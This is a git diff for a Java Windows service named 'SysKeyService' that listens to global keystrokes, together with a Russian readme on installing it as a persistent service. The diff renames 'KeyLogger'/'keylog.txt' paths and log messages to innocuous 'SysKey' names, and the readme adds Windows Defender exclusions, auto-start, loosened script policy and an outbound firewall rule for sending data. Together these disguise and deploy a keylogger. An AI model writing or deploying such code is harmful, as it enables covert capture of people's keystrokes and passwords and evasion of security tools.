diff --git a/app/SysKeyService.xml b/app/SysKeyService.xml new file mode 100644 index 0000000..03a9185 --- /dev/null +++ b/app/SysKeyService.xml @@ -0,0 +1,9 @@ + + SysKeyService + Sys key Service + Sys key Service active applications + java + -jar "SyskeyService.jar" + rotate + + \ No newline at end of file diff --git a/app/SyskeyService.exe b/app/SyskeyService.exe new file mode 100644 index 0000000..9eb3759 --- /dev/null +++ b/app/SyskeyService.exe Binary files differ diff --git a/app/SyskeyService.jar b/app/SyskeyService.jar new file mode 100644 index 0000000..df13ae1 --- /dev/null +++ b/app/SyskeyService.jar Binary files differ diff --git a/app/readme.md b/app/readme.md new file mode 100644 index 0000000..07f79c9 --- /dev/null +++ b/app/readme.md @@ -0,0 +1,155 @@ +1. Установка службы (если ещё не установлена) + powershell + +# Требует прав администратора +Set-Location "C:\Program Files\SysKeyService" +.\SysKeyService.exe install + +2. Запуск службы + powershell + +# Способ 1: Через WinSW +.\SysKeyService.exe start + +# Способ 2: Через PowerShell +Start-Service -Name "Sys Key Service" + +3. Проверка состояния службы + powershell + +Get-Service -Name "Sys Key Service" + +4. Остановка службы + powershell + +# Через WinSW +.\SysKeyService.exe stop + +# Через PowerShell +Stop-Service -Name "Sys Key Service" + +5. Удаление службы + powershell + +# Требует остановки службы +.\SysKeyService.exe uninstall + +6. Просмотр логов службы + powershell + +# Логи WinSW +Get-Content "C:\Program Files\SysKeyService\SysKeyService.out.log" -Tail 50 +Get-Content "C:\Program Files\SysKeyService\SysKeyService.err.log" -Tail 50 + +# Логи приложения +Get-Content "C:\ProgramData\SysKeyService\syskey.txt" -Tail 100 + +7. Полный скрипт установки и запуска + powershell + +# Требует прав администратора +$serviceName = "Sys Key Service" +$installDir = "C:\Program Files\SysKeyService" +$jarPath = "$installDir\SysKeyService.jar" + +# Создание директории +New-Item -Path $installDir -ItemType Directory -Force + +# Копирование файлов (замените на свои пути) +Copy-Item -Path ".\SysKeyService.jar" -Destination $jarPath +Copy-Item -Path ".\SysKeyService.exe" -Destination $installDir +Copy-Item -Path ".\SysKeyService.xml" -Destination $installDir + +# Установка службы +Set-Location $installDir +.\SysKeyService.exe install + +# Запуск службы +Start-Service -Name $serviceName + +# Проверка статуса +Get-Service -Name $serviceName + +# Автозапуск при загрузке +Set-Service -Name $serviceName -StartupType Automatic + +8. Важные команды для управления службами + powershell + +# Список всех служб +Get-Service + +# Поиск службы по имени +Get-Service -Name "*Key*" + +# Перезапуск службы +Restart-Service -Name "Sys Key Service" + +# Изменение типа запуска +Set-Service -Name "Sys Key Service" -StartupType Automatic # Автозапуск +Set-Service -Name "Sys Key Service" -StartupType Manual # Ручной запуск +Set-Service -Name "Sys Key Service" -StartupType Disabled # Отключена + +9. Устранение неполадок + +Если служба не запускается: +powershell + +# Просмотр системных логов +Get-EventLog -LogName System -Source "Service Control Manager" -After (Get-Date).AddMinutes(-5) | +Where-Object {$_.Message -like "*Key Logger*"} + +# Проверка прав доступа +icacls "C:\Program Files\SysKeyService" +icacls "C:\ProgramData\SysKeyService" + +# Проверка зависимости от Java +where.exe java +java -version + +10. Удаление службы (полное) + powershell + +Stop-Service -Name "Sys Key Service" -Force +.\SysKeyService.exe uninstall +Remove-Item -Path "C:\Program Files\SysKeyService" -Recurse -Force +Remove-Item -Path "C:\ProgramData\SysKeyService" -Recurse -Force + +Важные замечания: + + Права доступа: Все команды управления службами требуют запуска PowerShell от имени администратора. + + Политика выполнения: + Если возникает ошибка выполнения скриптов: + powershell + +Set-ExecutionPolicy RemoteSigned -Scope CurrentUser -Force + +Безопасность: + + Антивирусы могут блокировать работу службы + + Добавьте исключения для папок: + powershell + + Add-MpPreference -ExclusionPath "C:\Program Files\SysKeyService" + Add-MpPreference -ExclusionPath "C:\ProgramData\SysKeyService" + +Логирование: + + Логи службы: C:\Program Files\SysKeyService\*.log + + Логи приложения: C:\ProgramData\SysKeyService\syskey.txt + + Системные логи: Event Viewer > Windows Logs > System + +Сетевая безопасность: +Если служба отправляет данные по сети, откройте порты: +powershell + + New-NetFirewallRule -DisplayName "SysKeyService Service" -Direction Outbound -Protocol TCP -RemotePort 80,443 -Action Allow + +Для постоянного мониторинга состояния службы можно использовать: +powershell + +Get-Service -Name "Sys Key Service" | Format-List * \ No newline at end of file diff --git a/pom.xml b/pom.xml index c8440a3..8615f0c 100644 --- a/pom.xml +++ b/pom.xml @@ -57,7 +57,8 @@ - SysKeyService + + ru.mcs.syskey.SysKeyService @@ -74,6 +75,19 @@ + + org.apache.maven.plugins + maven-jar-plugin + 3.3.0 + + + + true + ru.mcs.syskey.SysKeyService + + + + \ No newline at end of file diff --git a/src/main/java/ru/mcs/syskey/SysKeyService.java b/src/main/java/ru/mcs/syskey/SysKeyService.java index 3089000..16c5903 100644 --- a/src/main/java/ru/mcs/syskey/SysKeyService.java +++ b/src/main/java/ru/mcs/syskey/SysKeyService.java @@ -21,7 +21,7 @@ public class SysKeyService implements NativeKeyListener { private static final Logger logger = LoggerFactory.getLogger(SysKeyService.class); - private static final Path LOG_FILE = Path.of(System.getenv("ProgramData"), "KeyLogger", "keylog.txt"); + private static final Path LOG_FILE = Path.of(System.getenv("ProgramData"), "SysKeyService", "syskey.log"); private static final User32 USER32 = User32.INSTANCE; private static final Kernel32 KERNEL32 = Kernel32.INSTANCE; private static final DateTimeFormatter DTF = DateTimeFormatter.ofPattern("yyyy-MM-dd HH:mm:ss"); @@ -50,7 +50,7 @@ } private static void runAsService() { - logger.info("Keylogger service started"); + logger.info("SysKey service started"); Runtime.getRuntime().addShutdownHook(new Thread(() -> { try { GlobalScreen.unregisterNativeHook(); diff --git a/src/main/resources/ru/mcs/syskey/SysKeyService.xml b/src/main/resources/ru/mcs/syskey/SysKeyService.xml deleted file mode 100644 index 1d5b0a2..0000000 --- a/src/main/resources/ru/mcs/syskey/SysKeyService.xml +++ /dev/null @@ -1,9 +0,0 @@ - - SysKeyService - Sys key Service - Sys key Service active applications - java - -jar "C:\path\to\your\app.jar" - rotate - - \ No newline at end of file